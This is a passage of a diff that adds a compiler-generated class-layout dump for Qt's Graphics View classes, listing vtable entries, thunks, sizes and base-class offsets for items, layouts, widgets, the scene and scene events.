+320 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem12setExtensionEN13QGraphicsItem9ExtensionERK8QVariant
+324 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem9extensionERK8QVariant
+
+Class QGraphicsTextItem
+ size=20 align=4
+ base size=20 base align=4
+QGraphicsTextItem (0xb205c980) 0
+ vptr=((& QGraphicsTextItem::_ZTV17QGraphicsTextItem) + 8u)
+ QGraphicsObject (0xb20a3640) 0
+ primary-for QGraphicsTextItem (0xb205c980)
+ QObject (0xb204fe10) 0
+ primary-for QGraphicsObject (0xb20a3640)
+ QGraphicsItem (0xb204fe4c) 8
+ vptr=((& QGraphicsTextItem::_ZTV17QGraphicsTextItem) + 180u)
+
+Vtable for QGraphicsSimpleTextItem
+QGraphicsSimpleTextItem::_ZTV23QGraphicsSimpleTextItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QGraphicsSimpleTextItem)
+8 QGraphicsSimpleTextItem::~QGraphicsSimpleTextItem
+12 QGraphicsSimpleTextItem::~QGraphicsSimpleTextItem
+16 QGraphicsItem::advance
+20 QGraphicsSimpleTextItem::boundingRect
+24 QGraphicsSimpleTextItem::shape
+28 QGraphicsSimpleTextItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsSimpleTextItem::isObscuredBy
+44 QGraphicsSimpleTextItem::opaqueArea
+48 QGraphicsSimpleTextItem::paint
+52 QGraphicsSimpleTextItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsSimpleTextItem::supportsExtension
+148 QGraphicsSimpleTextItem::setExtension
+152 QGraphicsSimpleTextItem::extension
+
+Class QGraphicsSimpleTextItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsSimpleTextItem (0xb205cc00) 0
+ vptr=((& QGraphicsSimpleTextItem::_ZTV23QGraphicsSimpleTextItem) + 8u)
+ QAbstractGraphicsShapeItem (0xb205cc40) 0
+ primary-for QGraphicsSimpleTextItem (0xb205cc00)
+ QGraphicsItem (0xb20bd03c) 0
+ primary-for QAbstractGraphicsShapeItem (0xb205cc40)
+
+Vtable for QGraphicsItemGroup
+QGraphicsItemGroup::_ZTV18QGraphicsItemGroup: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QGraphicsItemGroup)
+8 QGraphicsItemGroup::~QGraphicsItemGroup
+12 QGraphicsItemGroup::~QGraphicsItemGroup
+16 QGraphicsItem::advance
+20 QGraphicsItemGroup::boundingRect
+24 QGraphicsItem::shape
+28 QGraphicsItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsItemGroup::isObscuredBy
+44 QGraphicsItemGroup::opaqueArea
+48 QGraphicsItemGroup::paint
+52 QGraphicsItemGroup::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsItem::supportsExtension
+148 QGraphicsItem::setExtension
+152 QGraphicsItem::extension
+
+Class QGraphicsItemGroup
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsItemGroup (0xb205cd40) 0
+ vptr=((& QGraphicsItemGroup::_ZTV18QGraphicsItemGroup) + 8u)
+ QGraphicsItem (0xb20bd168) 0
+ primary-for QGraphicsItemGroup (0xb205cd40)
+
+Vtable for QGraphicsLayoutItem
+QGraphicsLayoutItem::_ZTV19QGraphicsLayoutItem: 8u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QGraphicsLayoutItem)
+8 QGraphicsLayoutItem::~QGraphicsLayoutItem
+12 QGraphicsLayoutItem::~QGraphicsLayoutItem
+16 QGraphicsLayoutItem::setGeometry
+20 QGraphicsLayoutItem::getContentsMargins
+24 QGraphicsLayoutItem::updateGeometry
+28 __cxa_pure_virtual
+
+Class QGraphicsLayoutItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsLayoutItem (0xb20bd3fc) 0
+ vptr=((& QGraphicsLayoutItem::_ZTV19QGraphicsLayoutItem) + 8u)
+
+Vtable for QGraphicsLayout
+QGraphicsLayout::_ZTV15QGraphicsLayout: 13u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QGraphicsLayout)
+8 QGraphicsLayout::~QGraphicsLayout
+12 QGraphicsLayout::~QGraphicsLayout
+16 QGraphicsLayoutItem::setGeometry
+20 QGraphicsLayout::getContentsMargins
+24 QGraphicsLayout::updateGeometry
+28 __cxa_pure_virtual
+32 QGraphicsLayout::invalidate
+36 QGraphicsLayout::widgetEvent
+40 __cxa_pure_virtual
+44 __cxa_pure_virtual
+48 __cxa_pure_virtual
+
+Class QGraphicsLayout
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsLayout (0xb1ed3800) 0
+ vptr=((& QGraphicsLayout::_ZTV15QGraphicsLayout) + 8u)
+ QGraphicsLayoutItem (0xb20bd99c) 0
+ primary-for QGraphicsLayout (0xb1ed3800)
+
+Vtable for QGraphicsAnchor
+QGraphicsAnchor::_ZTV15QGraphicsAnchor: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QGraphicsAnchor)
+8 QGraphicsAnchor::metaObject
+12 QGraphicsAnchor::qt_metacast
+16 QGraphicsAnchor::qt_metacall
+20 QGraphicsAnchor::~QGraphicsAnchor
+24 QGraphicsAnchor::~QGraphicsAnchor
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QGraphicsAnchor
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsAnchor (0xb1ed3b40) 0
+ vptr=((& QGraphicsAnchor::_ZTV15QGraphicsAnchor) + 8u)
+ QObject (0xb20bde4c) 0
+ primary-for QGraphicsAnchor (0xb1ed3b40)
+
+Vtable for QGraphicsAnchorLayout
+QGraphicsAnchorLayout::_ZTV21QGraphicsAnchorLayout: 13u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QGraphicsAnchorLayout)
+8 QGraphicsAnchorLayout::~QGraphicsAnchorLayout
+12 QGraphicsAnchorLayout::~QGraphicsAnchorLayout
+16 QGraphicsAnchorLayout::setGeometry
+20 QGraphicsLayout::getContentsMargins
+24 QGraphicsLayout::updateGeometry
+28 QGraphicsAnchorLayout::sizeHint
+32 QGraphicsAnchorLayout::invalidate
+36 QGraphicsLayout::widgetEvent
+40 QGraphicsAnchorLayout::count
+44 QGraphicsAnchorLayout::itemAt
+48 QGraphicsAnchorLayout::removeAt
+
+Class QGraphicsAnchorLayout
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsAnchorLayout (0xb1ed3e00) 0
+ vptr=((& QGraphicsAnchorLayout::_ZTV21QGraphicsAnchorLayout) + 8u)
+ QGraphicsLayout (0xb1ed3e40) 0
+ primary-for QGraphicsAnchorLayout (0xb1ed3e00)
+ QGraphicsLayoutItem (0xb1f09078) 0
+ primary-for QGraphicsLayout (0xb1ed3e40)
+
+Vtable for QGraphicsGridLayout
+QGraphicsGridLayout::_ZTV19QGraphicsGridLayout: 13u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QGraphicsGridLayout)
+8 QGraphicsGridLayout::~QGraphicsGridLayout
+12 QGraphicsGridLayout::~QGraphicsGridLayout
+16 QGraphicsGridLayout::setGeometry
+20 QGraphicsLayout::getContentsMargins
+24 QGraphicsLayout::updateGeometry
+28 QGraphicsGridLayout::sizeHint
+32 QGraphicsGridLayout::invalidate
+36 QGraphicsLayout::widgetEvent
+40 QGraphicsGridLayout::count
+44 QGraphicsGridLayout::itemAt
+48 QGraphicsGridLayout::removeAt
+
+Class QGraphicsGridLayout
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsGridLayout (0xb1ed3f40) 0
+ vptr=((& QGraphicsGridLayout::_ZTV19QGraphicsGridLayout) + 8u)
+ QGraphicsLayout (0xb1ed3f80) 0
+ primary-for QGraphicsGridLayout (0xb1ed3f40)
+ QGraphicsLayoutItem (0xb1f091a4) 0
+ primary-for QGraphicsLayout (0xb1ed3f80)
+
+Vtable for QGraphicsItemAnimation
+QGraphicsItemAnimation::_ZTV22QGraphicsItemAnimation: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QGraphicsItemAnimation)
+8 QGraphicsItemAnimation::metaObject
+12 QGraphicsItemAnimation::qt_metacast
+16 QGraphicsItemAnimation::qt_metacall
+20 QGraphicsItemAnimation::~QGraphicsItemAnimation
+24 QGraphicsItemAnimation::~QGraphicsItemAnimation
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsItemAnimation::beforeAnimationStep
+60 QGraphicsItemAnimation::afterAnimationStep
+
+Class QGraphicsItemAnimation
+ size=12 align=4
+ base size=12 base align=4
+QGraphicsItemAnimation (0xb1f200c0) 0
+ vptr=((& QGraphicsItemAnimation::_ZTV22QGraphicsItemAnimation) + 8u)
+ QObject (0xb1f092d0) 0
+ primary-for QGraphicsItemAnimation (0xb1f200c0)
+
+Vtable for QGraphicsLinearLayout
+QGraphicsLinearLayout::_ZTV21QGraphicsLinearLayout: 13u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QGraphicsLinearLayout)
+8 QGraphicsLinearLayout::~QGraphicsLinearLayout
+12 QGraphicsLinearLayout::~QGraphicsLinearLayout
+16 QGraphicsLinearLayout::setGeometry
+20 QGraphicsLayout::getContentsMargins
+24 QGraphicsLayout::updateGeometry
+28 QGraphicsLinearLayout::sizeHint
+32 QGraphicsLinearLayout::invalidate
+36 QGraphicsLayout::widgetEvent
+40 QGraphicsLinearLayout::count
+44 QGraphicsLinearLayout::itemAt
+48 QGraphicsLinearLayout::removeAt
+
+Class QGraphicsLinearLayout
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsLinearLayout (0xb1f20300) 0
+ vptr=((& QGraphicsLinearLayout::_ZTV21QGraphicsLinearLayout) + 8u)
+ QGraphicsLayout (0xb1f20340) 0
+ primary-for QGraphicsLinearLayout (0xb1f20300)
+ QGraphicsLayoutItem (0xb1f093fc) 0
+ primary-for QGraphicsLayout (0xb1f20340)
+
+Vtable for QGraphicsWidget
+QGraphicsWidget::_ZTV15QGraphicsWidget: 92u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QGraphicsWidget)
+8 QGraphicsWidget::metaObject
+12 QGraphicsWidget::qt_metacast
+16 QGraphicsWidget::qt_metacall
+20 QGraphicsWidget::~QGraphicsWidget
+24 QGraphicsWidget::~QGraphicsWidget
+28 QGraphicsWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsWidget::setGeometry
+60 QGraphicsWidget::getContentsMargins
+64 QGraphicsWidget::type
+68 QGraphicsWidget::paint
+72 QGraphicsWidget::paintWindowFrame
+76 QGraphicsWidget::boundingRect
+80 QGraphicsWidget::shape
+84 QGraphicsWidget::initStyleOption
+88 QGraphicsWidget::sizeHint
+92 QGraphicsWidget::updateGeometry
+96 QGraphicsWidget::itemChange
+100 QGraphicsWidget::propertyChange
+104 QGraphicsWidget::sceneEvent
+108 QGraphicsWidget::windowFrameEvent
+112 QGraphicsWidget::windowFrameSectionAt
+116 QGraphicsWidget::changeEvent
+120 QGraphicsWidget::closeEvent
+124 QGraphicsWidget::focusInEvent
+128 QGraphicsWidget::focusNextPrevChild
+132 QGraphicsWidget::focusOutEvent
+136 QGraphicsWidget::hideEvent
+140 QGraphicsWidget::moveEvent
+144 QGraphicsWidget::polishEvent
+148 QGraphicsWidget::resizeEvent
+152 QGraphicsWidget::showEvent
+156 QGraphicsWidget::hoverMoveEvent
+160 QGraphicsWidget::hoverLeaveEvent
+164 QGraphicsWidget::grabMouseEvent
+168 QGraphicsWidget::ungrabMouseEvent
+172 QGraphicsWidget::grabKeyboardEvent
+176 QGraphicsWidget::ungrabKeyboardEvent
+180 (int (*)(...))-0x000000008
+184 (int (*)(...))(& _ZTI15QGraphicsWidget)
+188 QGraphicsWidget::_ZThn8_N15QGraphicsWidgetD1Ev
+192 QGraphicsWidget::_ZThn8_N15QGraphicsWidgetD0Ev
+196 QGraphicsItem::advance
+200 QGraphicsWidget::_ZThn8_NK15QGraphicsWidget12boundingRectEv
+204 QGraphicsWidget::_ZThn8_NK15QGraphicsWidget5shapeEv
+208 QGraphicsItem::contains
+212 QGraphicsItem::collidesWithItem
+216 QGraphicsItem::collidesWithPath
+220 QGraphicsItem::isObscuredBy
+224 QGraphicsItem::opaqueArea
+228 QGraphicsWidget::_ZThn8_N15QGraphicsWidget5paintEP8QPainterPK24QStyleOptionGraphicsItemP7QWidget
+232 QGraphicsWidget::_ZThn8_NK15QGraphicsWidget4typeEv
+236 QGraphicsItem::sceneEventFilter
+240 QGraphicsWidget::_ZThn8_N15QGraphicsWidget10sceneEventEP6QEvent
+244 QGraphicsItem::contextMenuEvent
+248 QGraphicsItem::dragEnterEvent
+252 QGraphicsItem::dragLeaveEvent
+256 QGraphicsItem::dragMoveEvent
+260 QGraphicsItem::dropEvent
+264 QGraphicsWidget::_ZThn8_N15QGraphicsWidget12focusInEventEP11QFocusEvent
+268 QGraphicsWidget::_ZThn8_N15QGraphicsWidget13focusOutEventEP11QFocusEvent
+272 QGraphicsItem::hoverEnterEvent
+276 QGraphicsWidget::_ZThn8_N15QGraphicsWidget14hoverMoveEventEP24QGraphicsSceneHoverEvent
+280 QGraphicsWidget::_ZThn8_N15QGraphicsWidget15hoverLeaveEventEP24QGraphicsSceneHoverEvent
+284 QGraphicsItem::keyPressEvent
+288 QGraphicsItem::keyReleaseEvent
+292 QGraphicsItem::mousePressEvent
+296 QGraphicsItem::mouseMoveEvent
+300 QGraphicsItem::mouseReleaseEvent
+304 QGraphicsItem::mouseDoubleClickEvent
+308 QGraphicsItem::wheelEvent
+312 QGraphicsItem::inputMethodEvent
+316 QGraphicsItem::inputMethodQuery
+320 QGraphicsWidget::_ZThn8_N15QGraphicsWidget10itemChangeEN13QGraphicsItem18GraphicsItemChangeERK8QVariant
+324 QGraphicsItem::supportsExtension
+328 QGraphicsItem::setExtension
+332 QGraphicsItem::extension
+336 (int (*)(...))-0x000000010
+340 (int (*)(...))(& _ZTI15QGraphicsWidget)
+344 QGraphicsWidget::_ZThn16_N15QGraphicsWidgetD1Ev
+348 QGraphicsWidget::_ZThn16_N15QGraphicsWidgetD0Ev
+352 QGraphicsWidget::_ZThn16_N15QGraphicsWidget11setGeometryERK6QRectF
+356 QGraphicsWidget::_ZThn16_NK15QGraphicsWidget18getContentsMarginsEPdS0_S0_S0_
+360 QGraphicsWidget::_ZThn16_N15QGraphicsWidget14updateGeometryEv
+364 QGraphicsWidget::_ZThn16_NK15QGraphicsWidget8sizeHintEN2Qt8SizeHintERK6QSizeF
+
+Class QGraphicsWidget
+ size=24 align=4
+ base size=24 base align=4
+QGraphicsWidget (0xb1f3e2d0) 0
+ vptr=((& QGraphicsWidget::_ZTV15QGraphicsWidget) + 8u)
+ QGraphicsObject (0xb1f3e320) 0
+ primary-for QGraphicsWidget (0xb1f3e2d0)
+ QObject (0xb1f09528) 0
+ primary-for QGraphicsObject (0xb1f3e320)
+ QGraphicsItem (0xb1f09564) 8
+ vptr=((& QGraphicsWidget::_ZTV15QGraphicsWidget) + 188u)
+ QGraphicsLayoutItem (0xb1f095a0) 16
+ vptr=((& QGraphicsWidget::_ZTV15QGraphicsWidget) + 344u)
+
+Vtable for QGraphicsProxyWidget
+QGraphicsProxyWidget::_ZTV20QGraphicsProxyWidget: 105u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QGraphicsProxyWidget)
+8 QGraphicsProxyWidget::metaObject
+12 QGraphicsProxyWidget::qt_metacast
+16 QGraphicsProxyWidget::qt_metacall
+20 QGraphicsProxyWidget::~QGraphicsProxyWidget
+24 QGraphicsProxyWidget::~QGraphicsProxyWidget
+28 QGraphicsProxyWidget::event
+32 QGraphicsProxyWidget::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsProxyWidget::setGeometry
+60 QGraphicsWidget::getContentsMargins
+64 QGraphicsProxyWidget::type
+68 QGraphicsProxyWidget::paint
+72 QGraphicsWidget::paintWindowFrame
+76 QGraphicsWidget::boundingRect
+80 QGraphicsWidget::shape
+84 QGraphicsWidget::initStyleOption
+88 QGraphicsProxyWidget::sizeHint
+92 QGraphicsWidget::updateGeometry
+96 QGraphicsProxyWidget::itemChange
+100 QGraphicsWidget::propertyChange
+104 QGraphicsWidget::sceneEvent
+108 QGraphicsWidget::windowFrameEvent
+112 QGraphicsWidget::windowFrameSectionAt
+116 QGraphicsWidget::changeEvent
+120 QGraphicsWidget::closeEvent
+124 QGraphicsProxyWidget::focusInEvent
+128 QGraphicsProxyWidget::focusNextPrevChild
+132 QGraphicsProxyWidget::focusOutEvent
+136 QGraphicsProxyWidget::hideEvent
+140 QGraphicsWidget::moveEvent
+144 QGraphicsWidget::polishEvent
+148 QGraphicsProxyWidget::resizeEvent
+152 QGraphicsProxyWidget::showEvent
+156 QGraphicsProxyWidget::hoverMoveEvent
+160 QGraphicsProxyWidget::hoverLeaveEvent
+164 QGraphicsProxyWidget::grabMouseEvent
+168 QGraphicsProxyWidget::ungrabMouseEvent
+172 QGraphicsWidget::grabKeyboardEvent
+176 QGraphicsWidget::ungrabKeyboardEvent
+180 QGraphicsProxyWidget::contextMenuEvent
+184 QGraphicsProxyWidget::dragEnterEvent
+188 QGraphicsProxyWidget::dragLeaveEvent
+192 QGraphicsProxyWidget::dragMoveEvent
+196 QGraphicsProxyWidget::dropEvent
+200 QGraphicsProxyWidget::hoverEnterEvent
+204 QGraphicsProxyWidget::mouseMoveEvent
+208 QGraphicsProxyWidget::mousePressEvent
+212 QGraphicsProxyWidget::mouseReleaseEvent
+216 QGraphicsProxyWidget::mouseDoubleClickEvent
+220 QGraphicsProxyWidget::wheelEvent
+224 QGraphicsProxyWidget::keyPressEvent
+228 QGraphicsProxyWidget::keyReleaseEvent
+232 (int (*)(...))-0x000000008
+236 (int (*)(...))(& _ZTI20QGraphicsProxyWidget)
+240 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidgetD1Ev
+244 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidgetD0Ev
+248 QGraphicsItem::advance
+252 QGraphicsWidget::_ZThn8_NK15QGraphicsWidget12boundingRectEv
+256 QGraphicsWidget::_ZThn8_NK15QGraphicsWidget5shapeEv
+260 QGraphicsItem::contains
+264 QGraphicsItem::collidesWithItem
+268 QGraphicsItem::collidesWithPath
+272 QGraphicsItem::isObscuredBy
+276 QGraphicsItem::opaqueArea
+280 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget5paintEP8QPainterPK24QStyleOptionGraphicsItemP7QWidget
+284 QGraphicsProxyWidget::_ZThn8_NK20QGraphicsProxyWidget4typeEv
+288 QGraphicsItem::sceneEventFilter
+292 QGraphicsWidget::_ZThn8_N15QGraphicsWidget10sceneEventEP6QEvent
+296 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget16contextMenuEventEP30QGraphicsSceneContextMenuEvent
+300 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget14dragEnterEventEP27QGraphicsSceneDragDropEvent
+304 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget14dragLeaveEventEP27QGraphicsSceneDragDropEvent
+308 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget13dragMoveEventEP27QGraphicsSceneDragDropEvent
+312 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget9dropEventEP27QGraphicsSceneDragDropEvent
+316 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget12focusInEventEP11QFocusEvent
+320 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget13focusOutEventEP11QFocusEvent
+324 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget15hoverEnterEventEP24QGraphicsSceneHoverEvent
+328 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget14hoverMoveEventEP24QGraphicsSceneHoverEvent
+332 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget15hoverLeaveEventEP24QGraphicsSceneHoverEvent
+336 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget13keyPressEventEP9QKeyEvent
+340 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget15keyReleaseEventEP9QKeyEvent
+344 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget15mousePressEventEP24QGraphicsSceneMouseEvent
+348 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget14mouseMoveEventEP24QGraphicsSceneMouseEvent
+352 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget17mouseReleaseEventEP24QGraphicsSceneMouseEvent
+356 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget21mouseDoubleClickEventEP24QGraphicsSceneMouseEvent
+360 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget10wheelEventEP24QGraphicsSceneWheelEvent
+364 QGraphicsItem::inputMethodEvent
+368 QGraphicsItem::inputMethodQuery
+372 QGraphicsProxyWidget::_ZThn8_N20QGraphicsProxyWidget10itemChangeEN13QGraphicsItem18GraphicsItemChangeERK8QVariant
+376 QGraphicsItem::supportsExtension
+380 QGraphicsItem::setExtension
+384 QGraphicsItem::extension
+388 (int (*)(...))-0x000000010
+392 (int (*)(...))(& _ZTI20QGraphicsProxyWidget)
+396 QGraphicsProxyWidget::_ZThn16_N20QGraphicsProxyWidgetD1Ev
+400 QGraphicsProxyWidget::_ZThn16_N20QGraphicsProxyWidgetD0Ev
+404 QGraphicsProxyWidget::_ZThn16_N20QGraphicsProxyWidget11setGeometryERK6QRectF
+408 QGraphicsWidget::_ZThn16_NK15QGraphicsWidget18getContentsMarginsEPdS0_S0_S0_
+412 QGraphicsWidget::_ZThn16_N15QGraphicsWidget14updateGeometryEv
+416 QGraphicsProxyWidget::_ZThn16_NK20QGraphicsProxyWidget8sizeHintEN2Qt8SizeHintERK6QSizeF
+
+Class QGraphicsProxyWidget
+ size=24 align=4
+ base size=24 base align=4
+QGraphicsProxyWidget (0xb1f20880) 0
+ vptr=((& QGraphicsProxyWidget::_ZTV20QGraphicsProxyWidget) + 8u)
+ QGraphicsWidget (0xb1f605f0) 0
+ primary-for QGraphicsProxyWidget (0xb1f20880)
+ QGraphicsObject (0xb1f60640) 0
+ primary-for QGraphicsWidget (0xb1f605f0)
+ QObject (0xb1f09924) 0
+ primary-for QGraphicsObject (0xb1f60640)
+ QGraphicsItem (0xb1f09960) 8
+ vptr=((& QGraphicsProxyWidget::_ZTV20QGraphicsProxyWidget) + 240u)
+ QGraphicsLayoutItem (0xb1f0999c) 16
+ vptr=((& QGraphicsProxyWidget::_ZTV20QGraphicsProxyWidget) + 396u)
+
+Vtable for QGraphicsScene
+QGraphicsScene::_ZTV14QGraphicsScene: 34u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QGraphicsScene)
+8 QGraphicsScene::metaObject
+12 QGraphicsScene::qt_metacast
+16 QGraphicsScene::qt_metacall
+20 QGraphicsScene::~QGraphicsScene
+24 QGraphicsScene::~QGraphicsScene
+28 QGraphicsScene::event
+32 QGraphicsScene::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsScene::inputMethodQuery
+60 QGraphicsScene::contextMenuEvent
+64 QGraphicsScene::dragEnterEvent
+68 QGraphicsScene::dragMoveEvent
+72 QGraphicsScene::dragLeaveEvent
+76 QGraphicsScene::dropEvent
+80 QGraphicsScene::focusInEvent
+84 QGraphicsScene::focusOutEvent
+88 QGraphicsScene::helpEvent
+92 QGraphicsScene::keyPressEvent
+96 QGraphicsScene::keyReleaseEvent
+100 QGraphicsScene::mousePressEvent
+104 QGraphicsScene::mouseMoveEvent
+108 QGraphicsScene::mouseReleaseEvent
+112 QGraphicsScene::mouseDoubleClickEvent
+116 QGraphicsScene::wheelEvent
+120 QGraphicsScene::inputMethodEvent
+124 QGraphicsScene::drawBackground
+128 QGraphicsScene::drawForeground
+132 QGraphicsScene::drawItems
+
+Class QGraphicsScene
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsScene (0xb1f20b80) 0
+ vptr=((& QGraphicsScene::_ZTV14QGraphicsScene) + 8u)
+ QObject (0xb1f09c6c) 0
+ primary-for QGraphicsScene (0xb1f20b80)
+
+Vtable for QGraphicsSceneEvent
+QGraphicsSceneEvent::_ZTV19QGraphicsSceneEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QGraphicsSceneEvent)
+8 QGraphicsSceneEvent::~QGraphicsSceneEvent
+12 QGraphicsSceneEvent::~QGraphicsSceneEvent
+
+Class QGraphicsSceneEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneEvent (0xb1fc0340) 0
+ vptr=((& QGraphicsSceneEvent::_ZTV19QGraphicsSceneEvent) + 8u)
+ QEvent (0xb1fbe870) 0
+ primary-for QGraphicsSceneEvent (0xb1fc0340)
+
+Vtable for QGraphicsSceneMouseEvent
+QGraphicsSceneMouseEvent::_ZTV24QGraphicsSceneMouseEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QGraphicsSceneMouseEvent)
+8 QGraphicsSceneMouseEvent::~QGraphicsSceneMouseEvent
+12 QGraphicsSceneMouseEvent::~QGraphicsSceneMouseEvent
+
+Class QGraphicsSceneMouseEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneMouseEvent (0xb1fc0480) 0
+ vptr=((& QGraphicsSceneMouseEvent::_ZTV24QGraphicsSceneMouseEvent) + 8u)
+ QGraphicsSceneEvent (0xb1fc04c0) 0
+ primary-for QGraphicsSceneMouseEvent (0xb1fc0480)
+ QEvent (0xb1fbe9d8) 0
+ primary-for QGraphicsSceneEvent (0xb1fc04c0)
+
+Vtable for QGraphicsSceneWheelEvent
+QGraphicsSceneWheelEvent::_ZTV24QGraphicsSceneWheelEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QGraphicsSceneWheelEvent)
+8 QGraphicsSceneWheelEvent::~QGraphicsSceneWheelEvent
+12 QGraphicsSceneWheelEvent::~QGraphicsSceneWheelEvent
+
+Class QGraphicsSceneWheelEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneWheelEvent (0xb1fc05c0) 0
+ vptr=((& QGraphicsSceneWheelEvent::_ZTV24QGraphicsSceneWheelEvent) + 8u)
+ QGraphicsSceneEvent (0xb1fc0600) 0
+ primary-for QGraphicsSceneWheelEvent (0xb1fc05c0)
+ QEvent (0xb1fbeb04) 0
+ primary-for QGraphicsSceneEvent (0xb1fc0600)
+
+Vtable for QGraphicsSceneContextMenuEvent
+QGraphicsSceneContextMenuEvent::_ZTV30QGraphicsSceneContextMenuEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI30QGraphicsSceneContextMenuEvent)
+8 QGraphicsSceneContextMenuEvent::~QGraphicsSceneContextMenuEvent
+12 QGraphicsSceneContextMenuEvent::~QGraphicsSceneContextMenuEvent
+
+Class QGraphicsSceneContextMenuEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneContextMenuEvent (0xb1fc0700) 0
+ vptr=((& QGraphicsSceneContextMenuEvent::_ZTV30QGraphicsSceneContextMenuEvent) + 8u)
+ QGraphicsSceneEvent (0xb1fc0740) 0
+ primary-for QGraphicsSceneContextMenuEvent (0xb1fc0700)
+ QEvent (0xb1fbec30) 0
